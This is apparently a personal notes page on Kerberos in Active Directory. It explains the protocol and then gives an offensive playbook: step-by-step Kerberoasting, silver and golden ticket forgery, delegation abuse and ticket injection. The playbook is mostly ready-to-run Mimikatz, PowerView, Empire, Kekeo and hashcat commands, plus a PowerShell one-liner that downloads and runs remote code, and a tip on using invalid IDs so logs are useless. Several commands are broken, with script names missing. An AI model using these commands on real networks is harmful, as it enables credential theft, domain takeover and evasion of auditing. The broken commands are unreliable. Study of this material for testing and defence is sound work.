Skip to content

IAM - Kerberos

Protocol Summary

  • Designed to lessening authentication related packets transmitted in the network
  • Not designed for today's network security
  • Loosing KDC means, security is at total loss
  • Kerberos uses either UDP/88 or TCP/88 as transport protocol. Hence Kerberos itself is responsible of encrypting data.
  • Several agents working together:
    • Client or user: who wants to access to the service.
    • AP (Application Server): offers the service required by the user.
    • KDC (Key Distribution Center): main service of Kerberos, responsible of issuing the tickets, installed on the DC (Domain Controller). It is supported by the AS (Authentication Service), which issues the TGTs.
  • Keys:
    • KDC key or krbtgt key: Derivate from krbtgt account NTLM hash.
    • User key: Derivate from user NTLM hash.
    • Service key: Derivate from the NTLM hash of service owner, which can be an user or computer account.
    • Session key: Negotiated between the user and KDC.
    • Service session key: to be use between user and service.
  • Tickets:
    • TGS (Ticket Granting Service): Ticket which user can use to authenticate against a service. It is encrypted with the service key.
    • TGT (Ticket Granting Ticket): Ticket presented to the KDC to request for TGSs. It is encrypted with the KDC key.
  • PAC (Privilege Attribute Certificate) is an structure included in almost every ticket.
    • It is possible to services to verify the PAC by communicating with the KDC
  • Messages:
    • KRB_AS_REQ: Used to request the TGT to KDC.
    • KRB_AS_REP: Used to deliver the TGT by KDC.
    • KRB_TGS_REQ: Used to request the TGS to KDC, using the TGT.
    • KRB_TGS_REP: Used to deliver the TGS by KDC.
    • KRB_AP_REQ: Used to authenticate a user against a service, using the TGS.
    • KRB_AP_REP: (Optional) Used by service to identify itself against the user.
    • KRB_ERROR: Message to communicate error conditions.
    • KERB_VERIFY_PAC_REQUEST: AP send message to KDC including the signature of PAC, and verify if it is correct. (not part of Kerberos, but NRPC)

Protocol Flow







Client - KDC (Pre-Auth) (Kerberos 5+)



  • Client constructs an authenticator (request for TGT) containing:
    • Identify information - unencrypted.
    • Timestamp - encrypted using user's password (hash). User's password (hash) is used as symmetric key.
  • When a client sends a request (AS-REQ) for a ticket to the Key Distribution Center (KDC).
    • A timestamp is sent encrypted with user's password hash (also called user's long term key).
      • [When using SmartCard]
        • [non-DH] Timestamp is signed using public-key and public-key is sent to DC
        • [DH] Timestamp is signed using public-key and public-key and DH parameters are sent to DC
    • If request can be decrypted with user's password hash,
    • And If request's time is within 5 minutes:
      • The KDC creates a Ticket-Granting Ticket (TGT) for the client
        • Special ticket that permits the client to obtain additional Kerberos tickets within the same Kerberos realm.
        • Usually good for 10 hours.
        • Containing:
          • client name
          • IP address
          • timestamp
          • validity period - 10 hours max by default
      • Sends (AS-REP) the encrypted TGT + TGS Session Key back to the client
        • User portion (client can decrypt) - Encrypted with user's password (hash), contains:
          • TGS Session Key - Usable to encrypt communication between client and TGS
        • [When using SmartCard] - [non-DH] Encrypted with public-key - [DH] Encrypted with DH info (?) not public-key
        • Server portion (client cannot decrypt) - Encrypted with KDC's secret key (Domain key / krbtgt account), contains:
          • TGT - Permits the client to obtain additional tickets (like TGS) which gives permission for specific services. Contains:
            • [Microsoft] Privilege Attribute Certificate (PAC) containing:
              • Username
              • User's RID
              • Group membership
            • PAC is signed with:
              • Target key (for TGT target key is also KDC key)
              • KDC key
  • If TGS Session Key can be decrypted using user's password (hash):
    • Client stores encrypted TGT and decrypted (?) TGS Session Key in Kerberos Tray
      • Always lives in memory
      • Never saved into disk
      • Kerberos Tray can be explored with kerbtray




Client - Service Authentication

  • TGS - Ticket granting service is a KDC component that issues a service ticket when a client requests connection to a Kerberos service.
  • Client sends following to TGS (TGS-REQ)
    • Copy of TGT
      • TGS can decrypt this using KDC's secret key
    • Name of the service
    • Time stamped client ID encrypted with TGS Session Key
      • TGS can decrypt this using user's password (hash)
  • TGS will return (TGS-REP):
    • User Portion (User can decrypt) - Encrypted with TGS Session Key
      • Service Session Key
      • Validity time
    • Server Portion / Service Ticket (User cannot decrypt) - Encrypted with service secret key
      • Privilege Attribute Certificate (PAC)
      • 2 HMAC signatures:
        • Target key - Service account's hash (might be crackable)
        • KDC Key - Krbtgt account's hash (not easily crackable)
    • Service Session Key
      • User details
    • TGS will not do a permission validation.
      • If user has a valid TGT that is all it takes to obtain a TGS.
      • Validating if the user has access to the service is up to the service.
  • Service Session Key and Service Ticket is stored in Kerberos Tray (?)
  • Client send the following to service when necessary:
    • Encrypted Service Ticket
    • Time stamped authenticator encrypted with the Service Session Key
  • Service will:
    • Decrypt the Service Ticket with its secret and validate both HMAC
    • Validate timestamped authenticator.
    • If both are fine, decrypted Service Ticket and check Privilege Attribute Certificate (PAC) to decide if access should be granted.
    • 2 HMAC signatures during PAC Validation:
      • Target key - Service account's hash (might be crackable)
        • Always verified
      • KDC key - Krbtgt account's hash (not easily crackable)
        • Verified with KDC "sometimes" (since data should be sent to KDC for verification)
        • Windows send PAC Validation message to NetLogin service of DC if:
          • TCB (act as part of the OS) privilege is not there and it is not a Service Control Manager (SCM) account.
          • :. generally if application is running as a service in local system, hash is not checked:
            • SQL Server, Exchange server: Generally does not check
            • App pools in web servers: Always check
          • Can be asked to check always using regkey "ValidateKdcPacSignature"
  • Service may:
    • Send a response with timestamp encrypted with the Service Session Key
    • Client decrypt and verify to prevent MitM

Inter-forest Authentication

  • Instead of encrypting with Domain1’s krbtgt account, a ticket is encrypted/signed with the inter-realm trust key that the domains previously exchanged, which is called as an “Inter-realm ticket-granting-ticket/TGT.
  • Then Domain2 verifies the TGT included in the referral, decrypts it with the previously negotiated inter-realm trust key and proceeds further. An inter-realm TGT can be forged.


Services (Microsoft Implementation)

  • When a domain account is configured to run a service (ex: MS SQL) in the environment, a Service Principal Name (SPN) is used in the domain to associate the service with a login account.

krbtgt password

  • Changes with domain functional level update (ex: NT5 -> NT6)
  • Recovery from restore media
  • Manually changed (compromise recovery)


  • Encoded in ASN.1
  • Kerberos Tickets are in KRB-CRED format: RFC4120
  • Microsoft Specific PAC format: cc237917

Attack Patterns

Kerberos brute-force

  • Automated continued attempts to guess a password



  • TGS has server position encrypted using service account password hash.
    • User can use the TGT to request TGS for any service (no authorization check)
  • Use this to crack the service account password offline.
  • Service account are sometimes ignored and may have privileged access.
  • Hash could be used to create Silver Tickets
  • Tim Medin DebyCon 2014
  • Find Service Accounts:
    • GetUserSPNs
    • Powerview: Get-NetUser -SPN
    • AD nodule: Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
  • Request Ticket (TGS):
    • Add-Type -AssemblyName System.IdentityModel
    • New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "<ServicePrincipalName from above commands>"
    • PowerView:
      • Request-SPNTicket
    • klist to verify the ticket
    • Store to disk using: Invoke-Mimikatz -Command '"kerberos::list /export"'
  • Crack:
    • .\ .\passwords.txt 'file.kirbi'
  • Note: If full control of user is there, can force-set an SPN on the user and then bruteforce.


Quick Reference**

  • The process of cracking Kerberos service tickets and rewriting them in order to gain access to the targeted service.
  • Doesn’t require any interaction with the service
  • as legitimate active directory access can be used to request and export the service ticket
  • which can be cracked offline in order to retrieve the plain-text password of the service
  • because service tickets are encrypted with the hash (NTLM) of the service account
  • so any domain user can dump hashes from services without the need to get a shell into the system that is running the service.
  • Any domain user has the rights by default on a standard domain to:
    • To request a Service Ticket for any service.
      • Permission checks are done later at the service.
    • Request a copy of the service accounts.
    • Request correlating password hash relevant to service accounts (?)
  • Crackable and important tickets can be identified by considering:
    • SPNs bind to domain user accounts
    • Password last set
    • Password expiration
    • Last logon
  • Tips
    • Look for SQL Server instances with domain admin used as the service account
      • This is not recommended
      • Instead, each service should use separate user accounts
    • SMB by default use a computer account
    • Exchange server defaults to user account

Step 1 - Service Provider Name (SPN) and SPN Discovery

  • Format: ServiceType/Host[:Port][/DistinguishedName] [ServiceAccountName]
  • Users system doesn't know the account running the service
    • But KDC needs this info, so that Service Ticket can be encrypted using that account's hash
  • SPN is the name by which
    • a Kerberos client uniquely identifies an instance of a service
    • for a given Kerberos target computer
    • KDC has a mapping between ["Service" to "Account"]
  • A given service instance can have multiple SPNs
    • if there are multiple names that clients might use for authentication.
  • SPN always includes the name of the host computer
    • A SPN is registered for each host alias
  • Point users to the appropriate resource for connection
  • Discovery via LDAP queries
  • Help in identify hosts that are running important services
  • Look for services associated with "User" accounts (can be easier to crack, compared to "Computer" accounts) - GetUserSPNs
  • List of SPNs:
  • References:


  • SetSPN - Can, view, edit, and delete SPN registrations.
    • Register
      • setspn -s ServiceClass/Host:Port AccountName
      • setspn -s FIMService/ CONTOSO\FIMService (-s verify that there are no duplicates)
      • setspn -s http/ CORP\CES
    • View all the mappings:
      • setspn -L hostname (?)
      • setspn -T pentestlab -Q */*
    • Delete: setspn -d ServiceClass/Host:Port AccountName
    • Reset SPN registrations for account: setspn -r AccountName
    • Re-register all SPNs for a given host: setspn -R hostname
    • Discover missing SPNs: DCDIAG /s:ServerName /c /v
    • Write back computer account's AD replication SPN: DCDIAG /fix
    • Restart NTDS: net stop ntds && net start ntds
    • Check DC security errors (duplicate SPNs, etc): DCDIAG /test:checksecurityerror
  • GetUserSPNs - Query the active directory to discover only services that are associated with a user account
  • PowerShell AD Recon
    • Part of:
    • Query the Active Directory for interesting services such as Exchange, Microsoft SQL, Terminal etc
      powershell_import /root/Discover-PSMSSQLServers.ps1
      powershell_execute Discover-PSMSSQLServers
      powershell_import /root/Discover-PSMSExchangeServers.ps1
      powershell_execute Discover-PSMSExchangeServers
    • Find service accounts:
      powershell_import /root/Find-PSServiceAccounts.ps1
      powershell_execute Find-PSServiceAccounts
  • Empire: usemodule situational_awareness/network/get_spn
  • PowerShellery
    • Part of:
      Get-SPN -type service -search "*" -List yes | Format-Table
      Get-SPN -type service -search "*"
    • Get UserSID, the service and the actual User.
      Import-Module .\Get-DomainSpn.psm1
  • Impacket
    • Valid domain credentials are required for communication with the Active Directory as token based authentication cannot be used.
      ./ -dc-ip pentestlab.local/test

Step 2 - Request Service Tickets

  • Request is sent to the KDC, hence it's not required that service is accessible, available or even exit anymore.
  • Request the service ticket for a specific SPN:
    Add-Type -AssemblyName System.IdentityModel
    New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80"
  • Alternatively, use Mimikatz by specifing target as the service principal name:
    kerberos::ask /target:PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80
  • List all available cached tickets:
    Invoke-Mimikatz -Command '"kerberos::list"'
    load kiwi
    kiwi_cmd kerberos::list
  • Request Kerberos service tickets that belong to domain users only which should be easier to cracked compared to computer accounts service tickets (requires valid domain credentials in order to interact with the Active Directory since it will executed from a system that is not part of a domain):
    ./ -request pentestlab.local/test
  • Automatically identify weak service tickets based on user account and password expiry (RiskySPN:
    Find-PotentiallyCrackableAccounts -FullData -Verbose
  • All user accounts that have an associated SPN:
    Find-PotentiallyCrackableAccounts -Domain "pentestlab.local"
  • Export to CVS (offline cracking):
  • Get service tickets for service instance by its SPN:
  • Various functions that can be executed to request, list and export service tickets: Auto-Kerberoast
    List-UserSPNs -Domain "pentestlab.local"
  • Mass request tickets (ticket for each account)
    Add-Type -AssemblyName System.IdentityModel
    setspn.exe -T lab.local -Q */- | Select-String '^CN' -Content 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
    ./GetUserSPNs.ps1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.ServicePrincipalName }

Step 3 - Export Service Tickets

  • List all available tickets from memory and save in remote host:
    Invoke-Mimikatz -Command '"kerberos::list /export"'
  • PowerShell Empire:
    usemodule credentials/mimikatz/extract_tickets
    kerberos::list /export
  • Extract Ticket hashes for services that support Kerberos authentication:
    usemodule credentials/invoke_kerberoast
  • AutoKerberoast will request and extract all the service tickets in base64 format.
    Invoke-AutoKerberoast -GroupName "Domain Admins" -Domain pentestlab.local -HashForm
  • Extract hashed in different formats (John, Hashcat and Kerberoast) - eliminates the need of Mimikatz for ticket export
  • Extract TGT responses from PCAP:

Step 4 - Crack Service Tickets

  • Crack ticket:
    python /root/Desktop/passwords.txt PENTESTLAB_001.kirbi
  • Extract the Hash from Service Ticket
    python PENTESTLAB_001.kirbi
    tgscrack.exe -hashfile hash.txt -wordlist passwords.txt
  • If PowerShell remoting is enabled then the password that has been retrieved from the service ticket can be used for execution of remote commands and for other lateral movement operations.
    $pass = 'Password123' | ConvertTo-SecureString -AsPlainText -Force
    $creds = New-Object System.Management.Automation.PSCredential -ArgumentList 'PENTESTLAB_001', $pass
    Invoke-Command -ScriptBlock {get-process} -ComputerName WIN-PTELU2U07KG.PENTESTLAB.LOCAL -Credential $creds
  • Dump returned service account with its correlating password hash:
    powershell -ep bypass -c "IEX (New-Object System.Net.WebClient).DownloadString(' Invoke-Kerberoast -OutputFormat HashCat|Select-Object -ExpandProperty hash | out-file -Encoding ASCII kerb-Hash1.txt"
    hashcat64.exe -m 13100 "C:\Hash1.txt" C:\Rocktastic12a --outfile="C:\OutputHash1.txt"`

Step 5 - Rewrite Service Tickets & RAM Injection

  • Kerberos tickets are signed with the NTLM hash of the password.
  • If the ticket hash has been cracked then it is possible to rewrite the ticket with Kerberoast python script.
  • Allow:
    • Impersonate any domain user when the service is going to be accessed.
    • Privilege escalation is also possible as the user can be added into an elevated group such as Domain Admins.
      python -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -u 500
      python -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -g 512
  • Also fake account. Use Mimikatz to generate ticket (change RID of the account to 1106):
    /rc4:<service's hash>
    • /ppt will directly inject the fake account into memory.
    • /id and /user can be invalid values, so that logs will be useless
    • /groups can be altered to add user to domain-admin
  • The new ticket can be injected back into the memory with
    kerberos::ptt PENTESTLAB.kirbi


  • Use *-ADServiceAccount cmdlet to create service accounts
  • Pick really random, good passwords (25+ chars )
  • Monitor DC for bursts of Service Ticket requests (Event ID 4769)
  • Force services to verify PAC - Doesn't prevent cracking - Prevent writing - Can impact performance

Pass the key

Pass the ticket

  • The process of forging a session key and presenting that forgery to the resource as credentials

Silver Ticket

  • Silver Ticket: A forged ticket that grants access to a serviceCredential stuffing.
  • Password hashes of service accounts could be used to create
  • Kerberos session ticket (TGS) has a sever portion which is encrypted with the password hash of the service account.
  • Can request a ticket and do offline brute forcing.

Kerberos Silver Ticket

  • KDC does not handle authorization
  • Can request TGS for any service
  • TGS is encrypted using target-service NTLM hash
  • .:. it is possible to brute-force the TGS to get target-service account credentials
  • Find Service Accounts
    • GetUserSPNs -
    • PowerView (SPN = Service Principal Name)
      Get-Netuser -SPN
    • ActiveDirectory Module
      Install-ActiveDirectoryModule -DllPath C:\AdModule\Microsoft.ActiveDirectory.Management.dll ADModulePath C:\AdModule\ActiveDirectory.psd1
      Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
  • Request SPN Ticket
    Add-Type -AssemblyName System.IdentityModel
    New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "<server-name>"
    - PowerView
  • Save Tieket
    • List all tickets in cache (check if granted): klist
    • Mimikatz: Invoke-Mimikatz -Command '"kerberos::list /export"'
  • Bruteforce tgsrepcrack or use John
    python.exe .\ .\password.txt '<ticket>'

Golden Ticket

  • Golden Ticket: A ticket that grants a user domain admin access
  • Ticket not made by KDC (ticket is self-made)
  • Not limited by GPO
  • Smart-card independent
  • Hence, it's possible to push anything
  • Since we have krbtgt
    • Can modify PAC
    • Group ID, SID, Username
  • Kerberos is stateless
    • All account policy is client side enforcement
      • Disabled / Expiry / Logon hours
      • Silo memberships
      • Protected Users and other group memberships
    • With Kerberos 5 - TGS / KDC has no way of validating that account is still valid when presented with TGT.
      • Microsoft implement:
        • If TGT is older than 20 mins the TGS will validate the account with KDC when issuing a service ticket. Account validity and check enabled state is checked.
        • However, with Golden Ticket we issuer our own TGT. Therefore, it is possible to issue TGT with recent issued-times to bypass this check.
  • Why attack on TGT, but not on TGS?
    • Service account passwords are rotated every 30-40 days.
    • Krbtgt account password is never changed.
    • A singled TGT can get many TGS.
Ticket Encryption PAC KDC Signature PAC Server Signature
TGT krbtgt krbtgt krbtgt
TGS target krbtgt target
  • Generating "Golden Ticket" requires:
    • KDC key (krbtgt)
    • SID of the domain (whom, psgetsid)
    • Domain name
lsadump::lsa /inject /name:krbtgt
kerberos::golden /domain:<domain>
  /id:500                         <- RID of the user (500 is domain admin)
  /ticket:Administrator.kirbi     <- ticket filename

Encryption downgrade with Skeleton Key Malware

  • A malware that can bypass Kerberos, but the attack must have Admin access

DCShadow attack

  • A new attack where attackers gain enough access inside a network to set up their own DC to use in further infiltration

Smart Card Authentication with DH Keys


Attacking Windows PKI

  • Mimikatz can export Windows CA (NTAuth certificate store )
  • Ask PKI server to generate a raw certificate (with any required expiry and any required user) without CRLDP so that cert cannot be revoked.

Kerberos Delegation

  • Allows reusing the end-user credentials to access resources hosted on a different server.
  • Used when Kerberos Double Hop is required.
  • Impersonating the incoming/authentication user is necessary to work.
  • Types:
    • Unconstrained (only Windows Server 2003 <) - Allow authentication to any service in the domain
    • Constrained

Unconstrained Kerberos Delegation

Kerberos Delegation -

  1. User provide credentials to DC
  2. DC returns TGT
  3. User request TGS for web service
  4. DC provides TGS (TGS contains user's TGT)
  5. User sends TGT and TGS to web Server Same as usual up to this point
  6. Web server service account use user's TGT to request a TGS got database server from DC - Web server service account can decrypt TGS and extract the user's TGT - This is because TGS is encryoted with web server service account's NTLM hash
  7. Web server service account connects to database impersonating the user
  • When allowed to a paticular service-account, allows delegation to any service in domain
    • by impercenating incoming user
    • because DC place user's TGT in TGS (step 4)
    • In example: web server service account can request access to any service in domain as user connecting to it
    • Usable to escalate privilages (if webserver can be comprimzed)
      • When a domian admin / high privilaged user connect to machine (Ex: webserver)
  • Identifying Nodes with Unconstrained Delegation Enabled
    Get-NetComputer -UnConstrained
    Get-ADComputer -Filter {TrustedForDelegation -eq $True}
    Get-ADUser -Filter {TrustedForDelegation -eq $True}
  • Attack Pattern
    • Compromise the server that use unconstrained delegation
    • Wait for a high privileged connect
    • Once connected, export all the tickets including TGT for that User
      Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'
    • Reuse tickets with
      Invoke-Mimikatz -Command '"kerberos::ppt C:\tickets\admin.kirbi"'

Constrained Kerberos Delegation

  • Only provide access to specified services on a specifiv computer
  • Service account must have TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION - T2A4D UserAccountControl attribute
  • Service account can asccess all services specified in msDS-AllowedToDelegateTo attribute
  • Abuse possibllities:
    • Student authenticate using non-kerberos auth and Protocol Transition is used by Kerberos to support SSO
    • Delegation occurs ont only got specifid service but for any service running under the same account
      • No validation for the specific SPN
    • Delegation is not restricted by SPN. It's possible to create alternate tickets.
  • Identifying Users with Unconstrained Delegation Enabled
    Get-DomainUser -TrustedToAuth
    Get-DomainComputer -TrustedToAuth
    Install-ActiveDirectoryModule -DllPath C:\AdModule\Microsoft.ActiveDirectory.Management.dll ADModulePath C:\AdModule\ActiveDirectory.psd1
    Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo
  • Get cleartext password or NTLM hash of the service account.
  • Use the above, with Kekeo to get TGT
    • asktgt.exe /user:exadmin /domain:example.powershell.local /key:deadbeefdeadbeefdeadbeef /ticket:exadmin.kirbi
  • Use TGT to get TGS:
    • Retquest a TGS as the user /user:Administrator
    • \s4u.exe /tgt:axadmin.kribi /user:Administrator@example.powershell.local /service:cifs/example1.powershell.local
  • Use TGT
    • Invoke-Mimikatz -Command '"kerberos:ppt example.kribi"'
    • ls \\example.powershell.local\c$



New References